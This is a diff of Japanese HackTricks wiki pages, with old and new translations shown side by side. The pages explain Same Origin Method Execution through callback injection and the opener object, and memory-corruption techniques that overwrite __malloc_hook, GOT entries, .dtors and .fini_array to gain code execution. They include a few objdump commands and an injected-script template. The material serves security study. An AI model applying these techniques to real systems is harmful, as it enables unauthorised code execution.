* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングテクニックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 [**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
彼らのウェブサイトをチェックして、無料でエンジンを試すことができます: 彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## 同一オリジンメソッド実行 ## Same Origin Method Execution
ページ内で一部の制限付きjavascriptを実行できる場合があります。たとえば、[**実行されるコールバック値を制御できる場合**](./#javascript-function)です。 ページ内で制限されたJavaScriptを実行できる場合があります。例えば、[ **実行されるコールバック値を制御できる**](./#javascript-function)場合です。
そのような場合、できることの1つは、**DOMにアクセスして**(たとえば、ボタンをクリックするなど)**そこで見つけた機密アクションを呼び出すこと**です。ただし、通常、**DOMに興味深いものがない小さなエンドポイントでこの脆弱性を見つける**ことがあります。 その場合、最も良いことの一つは、**DOMにアクセスして、そこに見つけた任意の**機密アクションを呼び出すことです(ボタンをクリックするなど)。しかし、通常、この脆弱性は**DOMに興味深いものがない小さなエンドポイント**で見つかります。
そのようなシナリオでは、この攻撃は非常に役立ちます。なぜなら、その目的は、**同じドメイン内の異なるページからDOM内の制限付きJS実行を悪用できるようにする**ことです。 そのようなシナリオでは、この攻撃は非常に有用です。なぜなら、その目的は、**同じドメインの異なるページ内のDOM内での制限されたJS実行を悪用すること**だからです。
基本的に、攻撃フローは次のとおりです: 基本的な攻撃の流れは次のとおりです:
* **悪用できるコールバックを見つける**おそらく\[\w\\.\_]に制限されている可能性があります)。 * **悪用できるコールバックを見つける**\[\w\\.\_]に制限される可能性があります)。
* 制限がなく、任意のJSを実行できる場合は、これを通常のXSSとして悪用できます * 制限がなく、任意のJSを実行できる場合は、通常のXSSとしてこれを悪用できます
* **被害者に** **攻撃者が制御するページを開かせる** * **被害者に攻撃者が制御するページを開かせる**
* **ページは** **異なるウィンドウ**で**自分自身を開く**(新しいウィンドウには初期のウィンドウを参照する**`opener`**オブジェクトがあります) * **ページは別のウィンドウで自分自身を開きます**(新しいウィンドウは、最初のウィンドウを参照する**`opener`**オブジェクトを持ちます)。
* **初期ページ**は、**興味深いDOMがあるページ**を読み込みます。 * **最初のページ**は、**興味深いDOM**がある**ページ**を読み込みます。
* **2番目のページ**は、**コールバックを悪用**し、**`opener`**オブジェクトを使用して**初期ページ**で**アクションをアクセスして実行**しますこれには今や興味深いDOMが含まれています)。 * **二番目のページ**は、**コールバックを悪用して脆弱なページを読み込み**、**`opener`**オブジェクトを使用して**最初のページでアクションを実行します**今や興味深いDOMを含んでいます)。
{% hint style="danger" %} {% hint style="danger" %}
初期ページが2番目のページを作成した後に新しいURLにアクセスしても、**2番目のページの`opener`オブジェクトは新しいDOM内の最初のページへの有効な参照**です 最初のページが二番目のページを作成した後に新しいURLにアクセスしても、**二番目のページの`opener`オブジェクトは新しいDOM内の最初のページへの有効な参照のままです**。
さらに、2番目のページがopenerオブジェクトを使用できるようにするには、**両方のページが同じオリジンにある必要があります**。この脆弱性を悪用するには、**同じオリジン内のXSSの種類を見つける必要がある**ためです。 さらに、二番目のページがopenerオブジェクトを使用できるためには、**両方のページが同じオリジンに存在する必要があります**。これが、この脆弱性を悪用するために、同じオリジン内で何らかの**XSSを見つける必要がある理由です。
{% endhint %} {% endhint %}
### 悪用 ### Exploitation
* このフォームを使用して、この種の脆弱性を悪用するPoCを**生成**できます:[https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) * このフォームを使用して、このタイプの脆弱性を悪用するための**PoCを生成**できます: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* クリックでHTML要素へのDOMパスを見つけるには、このブラウザ拡張機能を使用できます[https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool) * クリックするHTML要素へのDOMパスを見つけるために、このブラウザ拡張機能を使用できます: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### ### Example
* [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)で脆弱な例を見つけることができます * 脆弱な例は[https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)で見つけることができます
* この例では、サーバーが**javascriptコードを生成**し、**コールバックパラメータの内容に基づいて**HTMLに**追加**しています:`<script>opener.{callbacl_content}</script>`。この例では、`opener`の使用を明示する必要がないため、注意してください * この例では、サーバーが**JavaScriptコードを生成し**、**コールバックパラメータの内容に基づいて**それをHTMLに**追加**しています: `<script>opener.{callbacl_content}</script>`。そのため、この例では`opener`の使用を明示的に示す必要はありません
* また、このCTF解説もチェックしてください:[https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) * また、このCTFの解説も確認してください: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## 参考文献 ## References
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) * [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,45 +1,52 @@
# AW2Exec - \_\_malloc\_hook # AW2Exec - \_\_malloc\_hook
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}
## **Malloc Hook** ## **Malloc Hook**
[公式GNUサイト](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html)によると、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される関数のアドレスを指すポインタであり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。 公式GNUサイトによると、変数 **`__malloc_hook`** は、`malloc()` が呼び出されるたびに呼び出される関数の**アドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。
mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出す**ことができます。これにより、`libc`が多くのバイトを割り当ててヒープに割り当てるようになります。 mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`**を呼び出すことで、`libc`がヒープにそれらを割り当てるためにmallocを呼び出すことができます。
One Gadgetに関する詳細情報は次のとおりです One Gadgetに関する詳細は以下を参照してください
{% content-ref url="../one-gadget.md" %} {% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md) [one-gadget.md](../one-gadget.md)
{% endcontent-ref %} {% endcontent-ref %}
## References {% hint style="danger" %}
GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。詳細は[https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)を参照してください。
{% endhint %}
## 参考文献
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
{% endhint %}

View file

@ -1,57 +1,59 @@
# AW2Exec - GOT/PLT # AW2Exec - GOT/PLT
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする
</details> </details>
{% endhint %}
## **基本情報** ## **基本情報**
### **GOT: Global Offset Table** ### **GOT: グローバルオフセットテーブル**
**Global Offset Table (GOT)** は、動的リンクされたバイナリで **外部関数のアドレスを管理する** メカニズムです。これらの **アドレスは実行時まで不明** です動的リンクのため、GOT はこれらの外部シンボルのアドレスを **解決された後に動的に更新する方法** を提供します。 **グローバルオフセットテーブル (GOT)** は、動的リンクバイナリで外部関数の**アドレスを管理するために使用されるメカニズム**です。これらの**アドレスは実行時まで不明であるため**動的リンクのため、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。
GOT の各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応します。 **関数が最初に呼び出されると、その実際のアドレスが動的リンカによって解決され、GOT に格納されます**。同じ関数への後続の呼び出しでは、GOT に格納されたアドレスが使用され、アドレスを再度解決するオーバーヘッドが回避されます。 GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、その実際のアドレスは動的リンカーによって解決され、GOTに保存されます**。同じ関数への後続の呼び出しは、GOTに保存されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。
### **PLT: Procedure Linkage Table** ### **PLT: プロシージャリンクテーブル**
**Procedure Linkage Table (PLT)** は GOT と密接に連携し、外部関数への呼び出しを処理するトランポリンとして機能します。バイナリが **外部関数を最初に呼び出すと、その関数に関連する PLT のエントリに制御が渡されます**。この PLT エントリは、関数のアドレスがまだ解決されていない場合、動的リンカを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それはGOTに格納されます。 **プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それはGOTに保存されます。
**したがって、** 外部関数や変数のアドレスが解決されると、GOT エントリが直接使用されます。 **PLT エントリは、** これらのアドレスの初期解決を **動的リンカを介して容易にするために使用** されます。 **したがって、** GOTエントリは外部関数または変数のアドレスが解決されると直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます。**
## 実行を取得 ## 実行を取得
### GOT を確認 ### GOTを確認する
**`objdump -s -j .got ./exec`** で GOT テーブルのアドレスを取得します GOTテーブルへのアドレスを取得するには**`objdump -s -j .got ./exec`**
![](<../../../.gitbook/assets/image (619).png>) ![](<../../../.gitbook/assets/image (619).png>)
GEF**実行可能ファイル****ロード** した後、 **GOT** にある **関数****確認** できます: `gef➤ x/20x 0xADDR_GOT` GEFで**実行可能ファイルを読み込んだ後、GOTにある**関数を**見ることができる**様子を観察してください:`gef➤ x/20x 0xADDR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) ![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
GEF を使用して **デバッグ** セッションを開始し、 **`got`** を実行して GOT テーブルを表示できます: GEFを使用して**デバッグセッションを開始し、`got`を実行してGOTテーブルを表示できます**
![](<../../../.gitbook/assets/image (621).png>) ![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec ### GOT2Exec
バイナリ内の GOT には、**関数のアドレスまたは** その **関数アドレスをロードする PLT** セクションへのアドレスが含まれています。この任意の書き込みの目的は、後で実行される関数の **GOT エントリを上書き** することです。たとえば、そのアドレスを **`system`** **関数****PLT** のアドレスにします バイナリ内のGOTには、**関数のアドレスまたは**関数アドレスを読み込む**PLTセクションのアドレスがあります。この任意の書き込みの目的は、**後で実行される関数のGOTエントリを**`system`**関数のPLTの**アドレスで**上書きすることです**
理想的には、**制御可能なパラメータで呼び出される関数** の **GOT****上書き** します(したがって、システム関数に送信されるパラメータを制御できます)。 理想的には、**あなたが制御するパラメータで呼び出される**関数の**GOTを上書きすることになります**これにより、system関数に送信されるパラメータを制御できるようになります)。
**`system`** がスクリプトで **使用されていない** 場合、システム関数には PLT にエントリがありません。このシナリオでは、まず `system` 関数のアドレスをリークしてから、GOT をそのアドレスを指すように上書きする必要があります。 もし**`system`**がスクリプトで使用されていない場合、system関数は**PLTにエントリを持たない**ことになります。このシナリオでは、最初に`system`関数のアドレスを**リークする必要があり、その後GOTをこのアドレスを指すように上書きする必要があります**
**`objdump -j .plt -d ./vuln_binary`** PLT のアドレスを確認できます PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます
## **One Gadget** ## **One Gadget**
@ -61,7 +63,7 @@ GEF を使用して **デバッグ** セッションを開始し、 **`got`**
## **保護** ## **保護**
**Full RELRO** 保護は、バイナリが開始されるときにすべての関数のアドレスを解決し、その後 **GOT テーブルを読み取り専用** にすることで、この種のテクニックに対抗するためのものです: **フルRELRO**保護は、バイナリが起動されるときにすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用にすることによって**この種の技術から保護することを目的としています:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md) [relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -72,15 +74,17 @@ GEF を使用して **デバッグ** セッションを開始し、 **`got`**
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする
</details> </details>
{% endhint %}

View file

@ -1,26 +1,43 @@
# .dtors # AWS2Exec - .dtors & .fini\_array
{% hint style="danger" %} {% hint style="success" %}
現在では、.dtors セクションを持つバイナリを見つけるのは非常に珍しいです。 AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %} {% endhint %}
デストラクタは、プログラムが終了する前に実行される関数です(`main` 関数が返された後)。\ ## .dtors
これらの関数へのアドレスは、バイナリの **`.dtors`** セクションに格納されており、したがって、**`__DTOR_END__`** に **シェルコード****アドレス****書き込む** ことができれば、それはプログラムが終了する前に **実行** されます。
このセクションのアドレスを取得するには次のコマンドを使用します: {% hint style="danger" %}
現在、**.dtorsセクションを持つバイナリを見つけるのは非常に奇妙です**。
{% endhint %}
デストラクタは、**プログラムが終了する前に実行される関数**です(`main`関数が戻った後)。\
これらの関数のアドレスはバイナリの**`.dtors`**セクションに格納されているため、**`__DTOR_END__`**に**シェルコードのアドレス**を書き込むことができれば、それはプログラムが終了する前に**実行されます**。
このセクションのアドレスを取得するには:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
通常、**DTOR** マーカーは値 `ffffffff``00000000` の間にあります。したがって、これらの値だけを見ると、**登録された関数はない**ことを意味します。そのため、**`00000000`** を **シェルコードのアドレス** で上書きして、それを実行します。 通常、**DTOR** マーカーは `ffffffff``00000000` の値の **間** に見つかります。したがって、これらの値だけが見える場合、**登録された関数は存在しない** ことを意味します。したがって、**`00000000`** を **シェルコード****アドレス****上書き** します。
{% hint style="warning" %} {% hint style="warning" %}
もちろん、まずは **シェルコードを保存する場所を見つける** 必要があります。後でそれを呼び出すためです。 もちろん、最初に **シェルコードを格納する場所** を見つける必要があります。その後、呼び出すことができます。
{% endhint %} {% endhint %}
## **.fini\_array** ## **.fini\_array**
本的に、これはプログラムが終了する前に呼び出される**関数のセット**です。これは **`.dtors`** のようなものです。これは、**アドレスにジャンプしてシェルコードを呼び出す**ことができる場合や、**脆弱性を2回目に悪用するために再び `main` に戻る**必要がある場合に興味深いです。 的に、これはプログラムが終了する前に **呼び出される関数** の構造体です。これは **`.dtors`** のよう、**アドレスにジャンプしてシェルコードを呼び出す** ことができる場合や、**再度脆弱性を悪用するために `main` に戻る** 必要がある場合に興味深いです。
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
@ -31,22 +48,23 @@ Contents of section .fini_array:
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
これは**永久ループ**を作成しないことに注意してください。メインに戻るときにキャナリが気づき、スタックの末尾が破損している可能性があり、関数が再度呼び出されなくなります。したがって、これにより、脆弱性の**1回の実行が追加**されます 注意してください、これは**永遠のループ**を**作成しません**。なぜなら、mainに戻るとカナリアが気づき、スタックの終わりが破損している可能性があり、関数は再度呼び出されないからです。これにより、**脆弱性の1回の実行**を**持つことができます**
{% hint style="danger" %} {% hint style="danger" %}
[Full Relro](../common-binary-protections-and-bypasses/relro.md)を使用すると、`.fini_array`セクションが**読み取り専用**になります。 [Full RELRO](../common-binary-protections-and-bypasses/relro.md)では、セクション`.fini_array`は**読み取り専用**になります。
{% endhint %} {% endhint %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でAWSハッキングをゼロからヒーローまで学ぶ</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
